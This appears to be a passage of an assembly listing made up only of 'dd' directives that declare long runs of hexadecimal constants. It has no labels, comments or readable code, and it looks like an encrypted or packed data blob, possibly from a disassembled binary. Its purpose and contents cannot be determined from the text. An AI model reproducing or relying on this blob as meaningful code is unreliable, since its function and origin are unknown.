		dd 0AE06D26Ah, 80529E1h, 2C1A3981h, 949C5474h, 0C4752753h
		dd 3D0549B1h, 96230804h, 0AA3CFA5Ah, 0E9D10549h, 0BC7EF668h
		dd 896FCAF3h, 0EAC4092h, 504E007h, 7ADE07Bh, 0AB4B59E9h
		dd 4099E6A4h, 0F0BD310Fh, 97FD971Fh, 2DB02C6Eh,	0AAF16FE8h
		dd 16BC171Eh, 4FC45ED2h, 0EBB017F8h, 9A1720D7h,	3CAD5F7Bh
		dd 10B6EC97h, 830504F6h, 804601EEh, 0B2401901h,	38F85C5Ch
		dd 26C79064h, 19E3062Ch, 0D8455A0Ah, 0C8BF2A10h, 2E54C6A2h
		dd 0BD4AA17h, 8C01EBEFh, 4F7295Dh, 15E0807h, 142812FCh
		dd 8067A025h, 0B6C9B4Ah, 4EAFB1E9h, 94559D81h, 84DE4EC8h
		dd 7F28FB44h, 9E957768h, 1DA9C935h, 81E0C0DCh, 0B77FFEEh
		dd 0FE013DCEh, 0D168200h, 0E7FC6065h, 559240C0h, 9D1DFF7h
		dd 3B9DE9EFh, 5F539AF7h, 585DAAC9h, 0C84884B7h,	0C6417034h
		dd 2C46D6FEh, 125419F4h, 3ACDFD59h, 1BE6606h, 4C687691h
		dd 56CF6E69h, 0E34C520h, 0CE25E97Dh, 504BF7FBh,	811BC7C1h
		dd 5E4CF5C7h, 0E02A409Ch, 354AD65Ah, 0CA8551A9h, 0A28EAB59h
		dd 0EE87C44Bh, 7B049ECEh, 270D3E07h, 0C2044C5h,	0E11506E9h
		dd 0DCF4E82Bh, 2DE0C819h, 0D009868h, 35E52A73h,	0D273F792h
		dd 0B6E8D128h, 46F1D1Ch, 2718EAE0h, 7A401430h, 80803E55h
		dd 0F81D4EC7h, 4BBA9027h, 2912AFh, 4B6FBAB9h, 31ED017Ah
		dd 0ED5CC542h, 0FBB86E05h, 2925D801h, 0EC438567h, 0C7340EBAh
		dd 0F0BA3A36h, 0FB25E956h, 0F344DFA4h, 65A66806h, 4EC64E4Dh
		dd 0B846C0BCh, 1C724066h, 494C2D05h, 8D00016Bh,	5273371h
		dd 90077DA5h, 24F620DBh, 0A6495D76h, 4E364C18h,	0E9B052E8h
		dd 0DBB13671h, 48EA7DA5h, 0E1C1226Bh, 0C1FB81C6h, 8DF5D188h
		dd 9E4467ECh, 65DE516Dh, 6AF47B76h, 0B050097Ah,	75F83069h
		dd 0CAE1565Fh, 0DC35CA6Eh, 0CB21F813h, 0C7A410E0h, 535E27CCh
		dd 0D6BFD042h, 0E3B26226h, 180EEE08h, 0A1E89656h, 8A7CA006h
		dd 3C090C78h, 0D2669379h, 0F8E93E4Bh, 0C1EAE361h, 3F3EFD13h
		dd 0A0EC0101h, 0E1788A41h, 2AD88866h, 7D0767FAh, 0E3815184h
		dd 54043971h, 0CB1F0E20h, 0BA91500Ch, 259F6EAh,	0E2D1E941h
		dd 1E01103Dh, 2979F04Dh, 1FEDF4F1h, 1E397797h, 0B3517478h
		dd 820E3065h, 0DCDA81B9h, 901D7057h, 279A7A5Eh,	5F45515h
		dd 0B79808A0h, 0F03E7750h, 3A4F1800h, 7DB4CE81h, 0F6715CE3h
		dd 80373B00h, 7E6C161h,	0FAD6F728h, 272CAA49h, 88BC4329h
		dd 836D4806h, 3D8C01D8h, 46976816h, 1418588Ch, 9052FC4Ch
		dd 8B86AC5Eh, 5F94F06Dh, 5F64414Ah, 82027F63h, 0B855C40Ch
		dd 4E35FEBh, 602EEE9Bh,	0EF101EFEh, 982D4801h, 6A136923h
		dd 3D1B8E0h, 19ED81E5h,	642E188Eh, 5993DACFh, 0A0FF98F1h
		dd 1132655Fh, 50CB314Eh, 1C5F8CB3h, 7D27C4D2h, 0D3F6AD81h
		dd 0DDA3D786h, 0E3800809h, 403651BEh, 5366CAB6h, 0ECB2E971h
		dd 54B5BA84h, 56D68E3Fh, 0DA8FEA12h, 4535ED48h,	5A13933Ch
		dd 80848A0Fh, 0DC0679C5h, 3127F5D8h, 0B36ED5F6h, 7CEDFDD9h
		dd 79B830A4h, 0F2575DE8h, 0A4315AFDh, 5041DF2Bh, 0B50B37ECh
		dd 0C0C22ED9h, 9EBD0224h, 60435AE1h, 171E0DC7h,	0AF0C1BBAh
		dd 39802016h, 0C387BDF3h, 0D2DBF6B3h, 0EA45B9C6h, 6EE4F949h
		dd 5A1CF0F3h, 5EF28901h, 1C28342h, 0BE4A9AF4h, 0ED40A5F7h
		dd 109D273Dh, 25423CAAh, 347C135Ah, 4E4403C0h, 3B12B128h
		dd 73CC5082h, 46D54C29h, 590C80CDh, 5D99853h, 13F22F5Fh
		dd 5928040h, 0E613CA35h, 0C1BF0E2Ch, 74674A7Fh,	2EEB8DD7h
		dd 0C930D232h, 0A689F613h, 0DD29C7B3h, 0AC567E49h, 4AB4FFCEh
		dd 0E7BF3A84h, 403B25F2h, 78095FCFh, 8B1627CAh,	39B0AF27h
		dd 1CB9715Dh, 0B839F37h, 0F090B11Ch, 77824AD4h,	0F0818407h
		dd 13EC1E91h, 765A1DB4h
		dd 0BA5200C1h, 4C239F73h, 78A1D5A0h, 50201127h,	0B5536B9Dh
		dd 68844553h, 4EF22422h, 82CEEF97h, 68F2804Eh, 0C6950769h
		dd 677A160Dh, 50560582h, 4020AEE5h, 7435BE66h, 0EEC11825h
		dd 2E60803h, 5CF4EF8h, 76350681h, 68C6120Ah, 0E502F95Eh
		dd 0CB95340Ah, 561079ACh, 300CF4Ch, 468630Dh, 9C003560h
		dd 8952937Fh, 274F58C7h, 0EA8490E9h, 622AC75Dh,	0FAC063B1h
		dd 7C12E5EAh, 84AA3FFBh, 5D0809AFh, 61A1E8FDh, 76F10941h
		dd 6643D5F7h, 47FE4604h, 2DBC2C74h, 0D9E20579h,	979F116h
		dd 2E7CA8F6h, 0AC2C8A51h, 864881Ah, 68184261h, 2B0BC4B8h
		dd 0D5DC5909h, 0F1534C09h, 455A9648h, 0AF315EE0h, 5C4814CBh
		dd 6865407Fh, 0DE2F6D26h, 14E8F76Bh, 21713812h,	2AD0F0C1h
		dd 0C0871949h, 79DF4054h, 8020CDDCh, 7CA0044Fh,	0B5207225h
		dd 65083FDEh, 1DDC20B8h, 7E354DC3h, 0B1A9E5DAh,	5C171A11h
		dd 0B96B40F6h, 10F19FA2h, 37FED98Eh, 815E5E8Ah,	3E3F6931h
		dd 0E3922EF2h, 87681390h, 0D0E94D82h, 8779052h,	353F6D65h
		dd 3BE27902h, 2505F6D1h, 0FC4BC37Ch, 0B971AF65h, 0DFBBA96Fh
		dd 0E3685938h, 0DC210162h, 69365C5Fh, 76A708F6h, 0D2E98F9Bh
		dd 5A3FB54h, 27505C88h,	808A70B7h, 924EE907h, 12E395C0h
		dd 7A11B606h, 40C010Bh,	0C07C1B2Eh, 5A90EE31h, 95FBEB5h
		dd 59C821D2h, 0F520FBFAh, 2B683C0Ch, 1C4B335Ah,	0DE7FE885h
		dd 0E6747E49h, 27649077h, 34945AAAh, 745256BEh,	0C6B6629Fh
		dd 0F652C075h, 66E39FDEh, 8859EE80h, 2F78F059h,	7025D767h
		dd 0EEA6EB33h, 0B5AC9250h, 0AE5C5485h, 0F22F827Dh, 1832D319h
		dd 2BB46154h, 8B0B800h,	1674093Dh, 31EA4CEBh, 3F1279B2h
		dd 4A3E938Bh, 501E98DAh, 0AD09577Ch, 32100136h,	0A5C8573Dh
		dd 50808C40h, 8F909554h, 0C82AD11h, 917D120Ah, 0F766877Dh
		dd 0B0A3B5E1h, 360905CCh, 5D20DB2Dh, 0BB141B8Ch, 0D670CB09h
		dd 1F9F64Ah, 0D254C781h, 0FA09D06Eh, 8FA7E917h,	9022DE26h
		dd 985E87h, 685256D5h, 0BC1F2C44h, 1A575A79h, 0E388F081h
		dd 0AE2483DDh, 568F14BBh, 0EB02F5F4h, 4FA540F9h, 0C18053D4h
		dd 0E968F27Bh, 0B3734ADDh, 0CFC49772h, 0E90C6CFEh, 710D952Fh
		dd 542763BAh, 6FED1907h, 645FD664h, 42FB2BB2h, 585B6854h
		dd 41E646D7h, 53E42A14h, 3F4F41C3h, 0EF4FB5F7h,	61640161h
		dd 0C67C8004h, 1E4BC163h, 1393C2E4h, 48819E8h, 0F4CAFD9Bh
		dd 0F504DF15h, 0FB29711Bh, 7B0000BBh, 411C3F59h, 0E3B8A8C1h
		dd 0C72EA73Bh, 0B12C84B7h, 52893AB3h, 219DB589h, 0FB01CD24h
		dd 0CB4A0FADh, 9E68008Ah, 0E90F8527h, 0ACC5994h, 0E41CBE85h
		dd 39D03D9Bh, 5EB4BD2h,	83515D93h, 1A13258Dh, 0CEE5E628h
		dd 0C11168EDh, 768CA75Bh, 1E321078h, 0B30F9CBEh, 1B854E46h
		dd 5BDD8014h, 86D50EF6h, 0FB353FDh, 304F016Dh, 8EF981Ch
		dd 0AC4AE580h, 34475C0Dh, 5F045BD8h, 74A0A861h,	0F6F7EB4h
		dd 0E634E0Bh, 0F83CFDD8h, 44E93CC2h, 7C7DF97h, 4838A0ACh
		dd 0A6575A54h, 44FB0653h, 0E077E97Ah, 7CBD5AB6h, 59E5DA14h
		dd 0FA39968Bh, 2DC878D7h, 406603A4h, 0D4F2203h,	2426BA18h
		dd 17BE290Bh, 0A8D05338h, 1AC4A59h, 9FD580B4h, 624B4048h
		dd 2980C8BEh, 5C74952h,	0A47DD985h, 76DB03FFh, 52096A75h
		dd 0A231D6E9h, 0FEA4B42Ch, 0CD699C21h, 0FF0CDDE4h, 7F28C4C9h
		dd 27F02A12h, 4359290h,	3D0A04BEh, 3F17FF0Ch, 6B2D37ADh
		dd 850FF300h, 4B9269EAh, 1E5ECB20h, 0BDA7A9E9h,	4D7DBBCEh
		dd 7C2EC078h, 0B5F8A0F5h, 801CC4F0h, 0CEC0FAEEh, 6E6C0C3h
		dd 0AEC64AFEh, 19E34D48h, 0F9760C0Ch, 7F108BCEh, 0A9DE88E9h
		dd 0BE56EF80h, 0D8397Bh, 0F681462Fh, 7DED365Bh,	6598CEECh
		dd 0E97EE604h, 0D9BF4FE1h, 2A47E8A9h, 8C6C5C0h,	0B8419A01h
		dd 37F505DFh, 0EF0948D5h, 58D86D04h, 5201FE12h,	751E1455h
		dd 0C47C07F1h, 1729BA0Fh, 33210416h, 0CD89072Dh, 99B5EA27h
		dd 5104A552h, 0BCEE507Ah, 0FAF3E792h, 0E13A00FEh, 10BB5355h
		dd 78002B23h, 0D4DCF4BDh, 0C1CFE987h, 96853B5h,	0CB367C6Dh
		dd 24F5D826h, 0F98D9F6h, 526428B7h, 0FDF4D446h,	144E10C9h
		dd 0F1AC4F4Bh, 0BC093A44h, 0D3DCC4CCh, 0AE0BF00h, 38C920AFh
		dd 247EFB02h, 0E7E9504Bh, 3966FD0h, 0B1ED92C5h,	0A96B4842h
		dd 0D2172F3Ah, 8D84AA62h, 48E99DC0h, 0BEA5CB98h, 642FAF57h
		dd 30EE9FB5h, 5488A34Ch, 4E31A634h, 0AF8E84EEh,	74ADF0C4h
		dd 7E45D582h, 3021D182h, 24B845DAh, 97F9B520h, 0B16E5DF6h
		dd 0EFB2AD12h, 0BD5BF6F2h, 875D177Eh, 66B04835h, 5A4BC990h
		dd 9311C755h, 0E9FAF4EAh, 0CA067D5Eh, 0BE212868h, 2BF40285h
		dd 27F5046h, 0C706A8D7h, 10400880h, 2345E18h, 70092656h
		dd 0EC1E00EBh, 8CE9FC6Bh, 0FF7289BDh, 0E3FE5496h, 0C4A3316Eh
		dd 47FB1FE8h, 0F52BB10Bh, 0BA07D44Ah, 0A90DEA2h, 0EAB824D2h
		dd 0F45EE4D2h, 5B7C2FE4h, 95A5A6BEh, 0C125EDA0h, 786E7E24h
		dd 3138685Bh, 65BF5A6Fh, 580B93FEh, 404F20B1h, 7F0E48B0h
		dd 0C8AE794Eh, 0FB0BEA1Eh, 0F8EC1DABh, 29A18960h, 75E24D35h
		dd 4494359h, 82BA8A93h,	8B7DE8CCh, 0F38CA58Eh, 25686BB0h
		dd 9CF47A22h, 3089F967h, 0B6614173h, 0FC6AAD1Ah, 1D1DF584h
		dd 0FF88249h, 8CDACF0Eh, 325493FAh, 0AD3E5759h,	42FD8707h
		dd 0F4DB4DE1h, 0BE5C87BBh, 84FE07Bh, 0A5C110BAh, 0AD1A4E2Eh
		dd 0C509FDD1h, 2FDF4659h, 1CD339Fh, 5016A22Ch, 41C6EECCh
		dd 962AF55Dh, 8BBF53B1h, 9FE90AE9h, 7F69FF30h, 0D9755829h
		dd 0F9F7607Bh, 325B8EE9h, 0EAE1DCACh, 9B617F02h, 0EC623089h
		dd 0ACA2CB9Eh, 56042F6h, 9D6A0873h, 0E300247Ch,	311722D2h
		dd 9C2D98E9h, 967FA755h, 0F606B287h, 7F802859h,	52FD0208h
		dd 7C2976E4h, 0CA014D1h, 811C10D0h, 4DC2685Fh, 0BBD7716Ch
		dd 4401FC81h, 0C52DAB2Bh, 0F0EE7C55h, 0B29A2916h, 0A016DB2Dh
		dd 1A6EAFF6h, 0E295A05Fh, 7A422E17h, 83972020h,	31E9FC08h
		dd 0B82B1741h, 28ABE570h, 352A6817h, 2620AC47h,	0B95107EEh
		dd 0F0672205h, 0A9A1D7BDh, 7D8CC058h, 48EB8B82h, 9DEB29ECh
		dd 0EA08E479h, 0CB310BE7h, 508D5791h, 525755F8h, 140760B0h
		dd 4B41F667h, 0EBA062F5h, 3F89B55Eh, 0E9E18D79h, 8464F6E4h
		dd 487EEEE2h, 7B81B591h, 0AA634F1Eh, 519C6524h,	96B31036h
		dd 76940298h, 0AC803AFDh, 3BE010EFh, 2705F994h,	0D38262C5h
		dd 0C28EA44Eh, 2DE588C1h, 3418A869h, 1D2C0C02h,	3DAB0438h
		dd 284AF2D8h, 0F3429799h, 3750C6A2h, 0D51D8168h, 0C39BF4B2h
		dd 0D914EBB5h, 1680CFDFh, 5004E2C0h, 0FE3C2AB0h, 0FE83CC8h
		dd 2124EB0Ch, 0C220832Ch, 51C12322h, 3AB53DE9h,	0D54CECD2h
		dd 0D160D1E6h, 63E95BA2h, 69219C8Ah, 540FD25Fh,	0A059AE36h
		dd 0A94645E3h, 39F068D9h, 5D522756h, 75C0B6C2h,	1C58FAFCh
		dd 0E2A2250Fh, 0CF34F78Ch, 0F3AEE917h, 0FED13F41h, 84E980C9h
		dd 3B31C23Ah, 7D7689D7h, 0BA043C16h, 6E624313h,	0F94112BBh
		dd 90C901FAh, 0D3011B98h, 0BA923B32h, 0E98364F3h, 0AB3D35D5h
		dd 0C103E3C7h, 0FD279E7h, 66E52E7Dh, 2600F7EBh,	0FA011623h
		dd 828C95B3h, 0F8BE3843h, 0B0F84B5Ah, 0A5177985h, 53F89807h
		dd 0BF396813h, 6EC83B60h, 0B059F6E5h, 0EDDF5BD7h, 0CD82F5ACh
		dd 0FA58049Ah, 71442FF7h, 4D8627E9h, 5B02A91Ch,	0C8E96CB3h
		dd 93645FB6h, 186E5800h
		dd 0A2D6B974h, 1FD2CD7h, 1E49182Dh, 0D02C336Ah,	0C1875E64h
		dd 976E3F03h, 260C1B96h, 3EB83D2Eh, 2839E902h, 0D0D70496h
		dd 52088161h, 8236BC20h, 8056E057h, 0B7F28AFCh,	1B2E220Bh
		dd 0EC1A5D65h, 897D54C2h, 0AC515FEFh, 89982067h, 185793BAh
		dd 0C21A5E1h, 0D0F75AB0h, 500B0D04h, 0CB7CF649h, 88508FDEh
		dd 0B0C3290Ah, 5B4440B4h, 8AE14650h, 0DF16D4E2h, 61AEF001h
		dd 7F121153h, 83C96C5Dh, 57C7ACBh, 2B553A39h, 6688BB89h
		dd 21596BF6h, 7709B676h, 0AAA20274h, 10CCC30h, 4ED41702h
		dd 0D41DCE35h, 90022D1Ah, 6832690Bh, 885FD6B5h,	541280ACh
		dd 66F8269Dh, 36F19F88h, 754D3C89h, 0A4A75ED1h,	0E6AB5E1Dh
		dd 0E9BFC938h, 916FEE58h, 0F5D6011Ch, 2E203CD7h, 3A08A029h
		dd 49411F77h, 0F4A93476h, 0D89322A5h, 78CE8131h, 1C14AB30h
		dd 5BE91A7Bh, 0AAD6417Eh, 4CA1A116h, 33A1D86Dh,	921B734Ah
		dd 0BA5613FAh, 0A97A68CDh, 15465087h, 0D232A44Ch, 0B22824B5h
		dd 4E8B6809h, 0B185A1D1h, 8BAAFEF3h, 18985AEAh,	0AFE988DFh
		dd 7E25219Ch, 0BCBD01AEh, 703CEB07h, 0D69504F0h, 0E151E9D0h
		dd 0AE2054A6h, 0E59D58FAh, 6A343E40h, 0EE67D18Fh, 0E95F0376h
		dd 0ECF3A52Fh, 0B22BECEAh, 7763894Eh, 932FB1E4h, 711CB39h
		dd 0FA7944CEh, 49F2DE0Dh, 0CB822802h, 95058FB5h, 8C0EA784h
		dd 5201D358h, 0FD07A833h, 1235E03Eh, 64578926h,	0C362A001h
		dd 40DB292Dh, 0D7580828h, 7A1EB1DCh, 9CF44234h,	0BEF60210h
		dd 9C1E91Bh, 560CA64h, 480C5B9Eh, 0DF213B2Fh, 0F78AD64Ch
		dd 8027399Eh, 7F4960FEh, 2B2CD918h, 82DB5A81h, 9322D442h
		dd 67671DF8h, 123F49DEh, 0DDF5CE8Fh, 178B529h, 96685233h
		dd 2A089C2Ch, 5E3B942Dh, 0FCDCF269h, 0D831EDC8h, 42E86813h
		dd 7D2AFD62h, 0FBC769A1h, 0BABC6AFEh, 6725E9ACh, 0A394A215h
		dd 4F7E0B49h, 38ED5F25h, 27C0A012h, 398063B2h, 0C29FCFF2h
		dd 0D2904B1Ah, 705FEC92h, 0CF2924A5h, 5E508BDh,	3D18EB24h
		dd 91512DAFh, 0B37A499h, 5FD1D8D1h, 5751C540h, 293E1663h
		dd 82211FDh, 0E3400C48h, 12621709h, 3FF60571h, 2FCDBBD4h
		dd 286A0EDDh, 23600B18h, 8D3E66Dh, 0C424C20h, 467C5501h
		dd 74E1E935h, 0F309BB1Bh, 80033240h, 97724B9h, 0FAE39F33h
		dd 29E8E39Ah, 9C264484h, 0C6021BFCh, 0FD5BAE11h, 3C080FA8h
		dd 3FF655AFh, 420BE961h, 956FB54Dh, 2528AAA7h, 72992FE9h
		dd 6EC70868h, 4B14C58h,	0D8DBB89Eh, 9F94C8EEh, 0B279D7EEh
		dd 0C91FF1BDh, 9DB19E75h, 0B2E219D2h, 0F7D66495h, 970DDB70h
		dd 3BA01C1Ah, 5644090h,	851859BDh, 52769FE9h, 0EA8C081Fh
		dd 0DC3A3249h, 7D546931h, 196EA388h, 3B291958h,	27E94BD8h
		dd 9FA5F116h, 0BA4B83Ch, 2CE2684h, 0DF6527ECh, 468059BAh
		dd 62550775h, 0D309D090h, 23A0A74h, 0D5E6E77Ah,	0C22D81C7h
		dd 30D6770Bh, 95A35E72h, 5C2F8C92h, 7027C76Ch, 8939F909h
		dd 42E41BB1h, 23D2E7BFh, 0E9538442h, 0A4F2F16Eh, 754917C6h
		dd 0AD1C1524h, 9DF9043h, 70D6E956h, 2BA09E8h, 58031BFh
		dd 0DA235AEEh, 0A0C2760h, 9F42E93Eh, 883BAF2h, 3A140C41h
		dd 0EBF4A3B8h, 0B9C045E2h, 2D1D7C84h, 0EB5DE979h, 32787312h
		dd 0C6F03B36h, 0E6280F60h, 0F76E801Bh, 70B126D9h, 0A140C202h
		dd 0DCE20081h, 92435013h, 0FCE7D8F7h, 1EC26DA8h, 0DDFDED80h
		dd 0F5C4738Eh, 2E2A88Dh, 0B151CEFEh, 0F9C05F5Bh, 0C00E03C9h
		dd 72D006E1h, 86F107C0h, 47CE4C30h, 5CDB0710h, 1C375B4Ch
		dd 480E73E2h, 7F1A6CFBh, 0C558B770h, 0C902E190h, 0E9108E50h
		dd 7F9D61Fh, 12682C59h,	0EFF70D4Dh, 0E9020571h,	520F06Dh
		dd 482F4409h, 0E6D9DD4Fh, 92C2DE6Eh, 4AEAC1F1h,	501542EDh
		dd 0F8B204F7h, 0EF5CEB80h, 66531FD7h, 0B60A335Ah, 67E0E1Ah
		dd 0C410690h, 18E5587Eh, 0C348289Bh, 788810CDh,	0EAA6801h
		dd 0D85D3FE1h, 919A6E13h, 5B148122h, 1E09EAC1h,	58E2958h
		dd 0F1371DFh, 1C2E22B5h, 0AFEC92E0h, 25683278h,	0E5FB77ECh
		dd 0AE090026h, 0CB51C491h, 89DF0706h, 9C3284FBh, 3432C0ABh
		dd 0F09F08CAh, 13125F37h, 531F03Fh, 6228DBF4h, 0CB02D773h
		dd 2925A72Fh, 8A988C3h,	1D8A5817h, 5279624Ah, 5B3083D8h
		dd 0F3C53A43h, 4BC27D9Dh, 0E0A13C8h, 0AB13D37Dh, 2F3E3A93h
		dd 90C1593Fh, 0DE322B32h, 242B5A30h, 40EAEEB4h,	1474335Bh
		dd 8940C0B7h, 355F05F8h, 0AF2E7378h, 72F4ED13h,	4A5B7EE2h
		dd 35D10187h, 7FAB538Ah, 48164FE8h, 15A537AFh, 69A2AA1Fh
		dd 0A6E97C81h, 24E872D5h, 8F314940h, 2EF0BD55h,	0FE0C4F96h
		dd 3BED1C16h, 0D0F0E120h, 3CF92D4Eh, 467C0527h,	50F94EBDh
		dd 0B19AA84Ah, 0E62F458Fh, 0F8DC5FAAh, 4BBEAE5Eh, 0D91AA495h
		dd 24052B8h, 8B2AEF09h,	5A0D487Dh, 13029530h, 0E91E0BB9h
		dd 6FA048A1h, 0C0FE55B0h, 6815C8E4h, 21965F2h, 0CBE90DB7h
		dd 7D8389EFh, 5725995Bh, 0FC1A2A2h, 511E2F51h, 0DAECC349h
		dd 6ED0EE8Eh, 0BC160EB3h, 25C95969h, 2116AFBEh,	6A86141Ch
		dd 0D52957FAh, 0A5E02304h, 0BAC3E0Fh, 0D90E5D30h, 2524067Eh
		dd 8A05E01h, 58419590h,	0F4A38460h, 245E5FF6h, 4198267h
		dd 99B61E40h, 1C35DC5h,	0B78421BCh, 5081A263h, 711C7243h
		dd 0EBA03429h, 4CB98B6Bh, 31CD051Ch, 2DC55EE8h,	5B081811h
		dd 6F5244BFh, 0EA4593F1h, 77B6473h, 460B0833h, 0C818B25Ch
		dd 60E580E2h, 52DF0649h, 8109B353h, 855BDE88h, 0EE1984Eh
		dd 0F14C5766h, 0EAD5DF30h, 0AC1D65FEh, 0EDAC011Dh, 0FA260822h
		dd 1A0E655Fh, 0D9FF1650h, 0FDCD42E6h, 6E12C144h, 9800272Ah
		dd 0D562C4E1h, 17F1EC0Fh, 0BE4045D0h, 537D9601h, 60606B4Ch
		dd 0B680B64h, 0D002466Fh, 0C2565222h, 2903186Eh, 0FA575FC7h
		dd 951DB22Ch, 94DD7042h, 0C6229F90h, 4CE707ACh,	0D2CD19BFh
		dd 91DDE273h, 6416153Ch, 86300288h, 6D79FEECh, 74037FE9h
		dd 0AAEC4BEEh, 0BF4A6CA8h, 0B72D8F40h, 951C102Fh, 0E9BC10FFh
		dd 0D2039D9Dh, 9C205A54h, 0F1883C04h, 91DC924Bh, 0E1CFEAADh
		dd 0F2A37F13h, 84365A78h, 0BDF30F9Bh, 0D6624D09h, 0B57AA482h
		dd 2DCE5D05h, 564BEA4Bh, 81B67D5Eh, 93D2E3C9h, 0FF0A82B3h
		dd 39254847h, 0BD14028Ch, 0B0EAA4E9h, 16557AE0h, 0BBE30485h
		dd 0DB982512h, 65EE2568h, 3EC4EEFCh, 0AAAD13BFh, 0F581F528h
		dd 0EB9E287Bh, 438233ECh, 5CC7313Bh, 2F6A430h, 96A3E0BEh
		dd 0F2012FD2h, 33B701E0h, 0FF12C125h, 2D08A988h, 0F38BBA65h
		dd 829F7329h, 7F966856h, 19DA1857h, 2BA802Bh, 0E7371016h
		dd 0C6A110ECh, 0E9923E07h, 4ECC4002h, 0B6B01647h, 0E14E4489h
		dd 250090Ch, 0F1AB58ECh, 0A602925Ah, 9A2313EBh,	0E47A019Dh
		dd 670C60F3h, 2D8B4699h, 68E440D5h, 0BF7A7F2Eh,	1272FBE9h
		dd 8F224979h, 0EAF39302h, 65F58100h, 34683B4Dh,	710ED02h
		dd 8DE13373h, 5EC47246h, 2AB22997h, 6A4EB2B6h, 412CD94Ah
		dd 3EC677E9h, 514868F6h, 0FBF49770h, 0A0D03942h, 0A421CE9h
		dd 0EEC13209h, 52FC3FA4h, 3788B816h, 535826C3h,	0EDB56164h
		dd 2DF82AFEh, 6B61E2A7h, 0D720C2E5h, 76A6E349h,	0DEF4AB2Dh
		dd 0CFC05A9Ah, 33C41413h, 530F52E5h, 172FCE66h,	0D98A7F2Fh
		dd 63343C96h, 8A845431h, 0ACD4BF7Dh, 0F1FB0C35h, 32046EB8h
		dd 52000A3Bh, 0F52879B6h, 5E6278BDh, 0BD08FA0Fh, 11A20CE3h
		dd 44D75D56h, 0C60A8ADh
		dd 773540A8h, 20487497h, 0C89C8108h, 920B2E44h,	65C3FCE7h
		dd 49D8CC30h, 74BD4270h, 0DF1536Ch, 0C3A968D3h,	300AB551h
		dd 0C80632A4h, 17A0EA30h, 4581FFCEh, 8C71B747h,	0D13A6470h
		dd 7D4D549Dh, 51E10EEh,	6D45F24h, 87E4685Ah, 51E2197h
		dd 0F82E7D1Ah, 354D406h, 272845FBh, 9E0E014Dh, 293ECC38h
		dd 0EBD242E9h, 0C1B4545Fh, 2A77BC68h, 58B7F18Ch, 7E2FD091h
		dd 45986A18h, 5F304B27h, 7EBD5710h, 0E9A1EB09h,	5D312580h
		dd 4815798h, 7D3459F3h,	0BAEB851Bh, 0EA5F819Bh,	688F8F30h
		dd 406C4FABh, 70E9EB9Bh, 12CF530Ah, 5C023F08h, 4014DB33h
		dd 2E2973A7h, 12677418h, 32B6FB8Fh, 0F859174Eh,	4EA8B1CEh
		dd 579AD33Bh, 235094C2h, 15236815h, 0E68D96B8h,	0EB18DC6h
		dd 7667697Fh, 0E9F3055Fh, 0C8C89B26h, 11D4044Ah, 82D6299Ch
		dd 800E70Ch, 49F659E8h,	834C26D0h, 273AC976h, 54E811B3h
		dd 0DC246859h, 95C2E675h, 9A147F37h, 0FEFC0113h, 209821BBh
		dd 0BD7CCC2Fh, 0EB9C8A02h, 0D2CD29D6h, 0AE534E01h, 0F03E9479h
		dd 1058CC0h, 0F6E94F9Eh, 16B5D4A0h, 27E828D6h, 91F0D55Dh
		dd 0D7DF680Ch, 0E57A8F18h, 8844CA15h, 4B82EBF4h, 76D0C7E0h
		dd 9C5E26C0h, 0BFFB8822h, 4EE3017h, 8034ECBDh, 0C7FEAF55h
		dd 0D7F604C7h, 0E945E7C0h, 2DFC5BB3h, 11BF3E6Fh, 0D2D80DC3h
		dd 392F2C83h, 2C4F7475h, 15E13FAh, 0CF096F35h, 0C54E7B59h
		dd 4AF2BD81h, 0D65677EFh, 205C5C47h, 317E3168h,	2B134771h
		dd 0E29612B8h, 8DAF9303h, 57C83BA8h, 0B5CA9D63h, 0A30C018Fh
		dd 2A316849h, 23975F08h, 17AFD33Eh, 89659F88h, 637A59Dh
		dd 1D36A601h, 806E2305h, 0C5479D15h, 9EBA3150h,	57A513B6h
		dd 0BD550702h, 2995A0DFh, 62CCE9E8h, 5B542779h,	0EC57F862h
		dd 74C309D1h, 0AE0057E8h, 0A8178B41h, 65417AB8h, 93D6EE9Bh
		dd 3F27C3D9h, 0B841D3CDh, 3500EA8Ah, 3C3DF278h,	415A1C36h
		dd 734C7727h, 0DA3976BFh, 1C1C6BD4h, 972B45CAh,	0AFB56912h
		dd 5EF97AF0h, 4F2DEC63h, 0E2D04681h, 0DDEA2901h, 2B133A9Bh
		dd 179BAA10h, 220559F6h, 9CD02986h, 5B0D53E9h, 9050EE92h
		dd 40104C08h, 76BDEA36h, 0FE011C59h, 0B91D9A92h, 7AFE7790h
		dd 8820C936h, 4E088342h, 1F1ABA0Ch, 2BD0750Ch, 9FBE9080h
		dd 0FC027F82h, 9B7D1992h, 0AD66C91Bh, 51ED7D80h, 2969521Eh
		dd 1CBAF99Fh, 0EEA092E9h, 52F3CC8h, 0F7310647h,	0B071ACDEh
		dd 0B2A48B0h, 0F92FE938h, 3BA4CBBh, 42A9CB0Fh, 2C4C54CAh
		dd 840E702Ch, 9610038Bh, 59421E60h, 787F1C2h, 4F57EB8Bh
		dd 597E2D3Dh, 0E9BAA944h, 0CE77C5C7h, 0C204C099h, 7E6921ABh
		dd 1C38EE0h, 9EF97FEFh,	5D1E046Eh, 51F72987h, 5BB1B9E1h
		dd 0CD9BBFFh, 0CA3BC124h, 1BB5CF20h, 0D85EF3F7h, 0B03B8A2Dh
		dd 435641FDh, 0EEC0F60Fh, 18927127h, 251D579Fh,	0AE16DF25h
		dd 4674852Fh, 0F0A0208Fh, 0F2BE5AD2h, 0EB80E0D3h, 0B0D3E0D2h
		dd 1F07619Eh, 0E45A66D0h, 1D913FCBh, 0C2717A27h, 31692A0Ch
		dd 0A0F59441h, 0E91508B0h, 7842D676h, 4E614225h, 0CD629FA4h
		dd 7752B1DCh, 0E9049979h, 0FBB32DE6h, 0EA11F835h, 51AF98B0h
		dd 0A03EC014h, 808290C2h, 163FC71Dh, 0AE734B9Ch, 5808BF10h
		dd 0A18C43D6h, 0A37E58E9h, 15B8583Eh, 84B8A91Dh, 0A6AA3B28h
		dd 72EF7BE7h, 443F54F7h, 1520F40h, 0F2803AB2h, 0F4D2F618h
		dd 769DF5B0h, 0EB5BC4F1h, 0A72FB63Dh, 0AEDA11BEh, 7D0CC202h
		dd 0CE621AC8h, 2E6DD0F5h, 0A773EDE9h, 9688D2E7h, 21BE01E4h
		dd 20188B30h, 0E08206C9h, 8017D806h, 0F6E06E25h, 0EA352D0Fh
		dd 5766150h, 3CC5770Eh,	8C7E8EBh, 0C201129Bh, 6497D858h
		dd 5903D8BCh, 0CB5BF988h, 5A57383Bh, 1C5DC325h,	7DB9DDDh
